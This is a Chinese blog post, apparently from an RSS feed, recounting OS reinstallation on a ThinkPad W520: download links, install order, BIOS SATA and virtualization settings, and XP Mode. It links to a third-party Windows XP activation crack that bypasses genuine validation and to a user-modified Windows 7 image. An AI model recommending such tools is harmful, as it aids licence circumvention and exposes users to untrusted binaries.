OS X Lion(正式版还没有发布，先不安装） 安装顺序需要先确定好，为了能使系统正常的引导和顺利的安装，所以安装顺序必须是 [...]]]></description>
			<content:encoded><![CDATA[<p>最近的一段时间很久没写东西了，一方面是在倒腾新买的电脑（ Lenovo ThinkPad W520 37U ），一方面是在学习 Python 。下面来说说自己的 ThinkPad 系统安装历程。</p>
<p>买来的 Thinkpad 的硬盘有500G，不用来折腾安装操作系统实在是有些浪费。下面就来说说怎样安装系统。买来的电脑中自带的是 Windows 7 Professional 英文版的，无奈Professional版的不支持直接在系统总更改语言包，貌似只有 企业版( Enterprise )和旗舰版( Ultimate )支持更换语言。尝试了N遍以后决定重装系统。</p>
<p>重装系统的时候一开始考虑要安装一下系统：</p>
<ol>
<li>Windows XP SP3 2bit</li>
<li>Windows 7 Ultimate 64bit</li>
<li>Ubuntu 11.04 amd64</li>
<li>Mac OS X Lion</li>
</ol>
<p>于是就是安装文件的下载了，考虑到自己的电脑是联想出版的，所以首先考虑的是看下网上是否有联想 OEM 版的系统下载，然后刻录成安装光盘。</p>
<p>以下为收集的系统下载链接：</p>
<ul>
<li><a href="http://kbdl.lenovo.com.cn/qiuml/OS/Lenovo_XP_SP3_32_SC_Pro_AHCI.rar">联想 Windows XP SP3 32位</a>（联想官方下载链接）</li>
<li><a href="ed2k://%7Cfile%7C%5B%E8%81%94%E6%83%B3.OEM.win7.64%E4%BD%8D.%E6%97%97%E8%88%B0%E7%89%88.DIY%5D.LENOVO_WIN7_UM_64_ZH_CN_RDVD.iso%7C3383033856%7C6f6a7f4c0992c09415952afecb52cfbb%7Ch=accerbwmdwvsuhgqxrjqfzu4mqblrbfw%7C/">联想.OEM.win7.64位.旗舰版.DIY</a>（网友自己制作的版本，电驴链接）</li>
<li><a href="http://www.ubuntu.com/download">Ubuntu 11.04</a>（Ubuntu官网链接）</li>
<li>Mac OS X Lion(正式版还没有发布，先不安装）</li>
</ul>
<p>安装顺序需要先确定好，为了能使系统正常的引导和顺利的安装，所以安装顺序必须是 XP, WIN 7 , Ubuntu .</p>
<p>安装过程中遇到的一些问题汇总：</p>
<p>1、在安装前还需要做的工作是刻录系统驱动，这个步骤必须做，因为安装新系统以后在没有安装任何驱动的情况下，系统只能读出光盘信息，什么U盘、移动硬盘的都是浮云，到时候一概认不出。联想的驱动可以从官方网站进行下载，下载地址：<a href="http://think.lenovo.com.cn/support/driver/driversdownlist.aspx?categoryid=30823">http://think.lenovo.com.cn/support/driver/driversdownlist.aspx?categoryid=30823</a></p>
<p>2、W520使用的是 SATA 模式硬盘，而 XP 目前是不支持 SATA 的，所以要先到BIOS将硬盘改为兼容模式，否则安装时会提示找不到硬盘或蓝屏具体操作步骤为：开机出现ThinkPad标志时，按F1进入  BIOS—&gt; Config—&gt;Serial ATA  (SATA)把AHCI改为Compatibility，然后按F10，选择Y，保存退出。需要注意的是修改为Compatibility后会对硬盘性能照成影响，所以决定不安装XP，改为使用虚拟机在Win 7内部安装 XP .</p>
<p>3、从官方下载的 Win XP 系统 OEM 版并不适合 W520 ，原因是 W520 的 BIOS 太新，系统认不出来，所以无法自动激活。解决方法是网上找到一个可以不修改 BIOS 就能激活 OEM 的软件（需要在安全模式(开机按F10)下才能激活，软件下载地址为： <a href="http://vdisk.weibo.com/s/qaP6">Windows XP SP3 完美激活通过正版验证补丁-免改BIOS</a></p>
<p>4、Win 7 自带的XP Mode 可以很轻松的在Win 7 下安装XP ,具体的安装方法可以参考官方教程：<a href="http://windows.microsoft.com/zh-CN/windows7/install-and-use-windows-xp-mode-in-windows-7">在 Windows 7 中安装和使用 Windows XP Mode</a>。需要注意的是为了能让系统正常运行，还是需要更改BIOS 的设置。开启硬件协助虚拟化到 BIOS 中将 virtualization 设置为 “Enabled”。</p>
<p>Related posts:<ol>
<li><a href='http://www.biaodianfu.com/ubuntu.html' rel='bookmark' title='ubuntu基于debian的Linux系统'>ubuntu基于debian的Linux系统</a></li>
<li><a href='http://www.biaodianfu.com/smsniff.html' rel='bookmark' title='网络抓包工具推荐：SmartSniff'>网络抓包工具推荐：SmartSniff</a></li>
<li><a href='http://www.biaodianfu.com/tracking-robots-with-google-analytics.html' rel='bookmark' title='使用Google Analytics跟踪搜索引擎的抓取记录'>使用Google Analytics跟踪搜索引擎的抓取记录</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/thinkpad-install-os.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

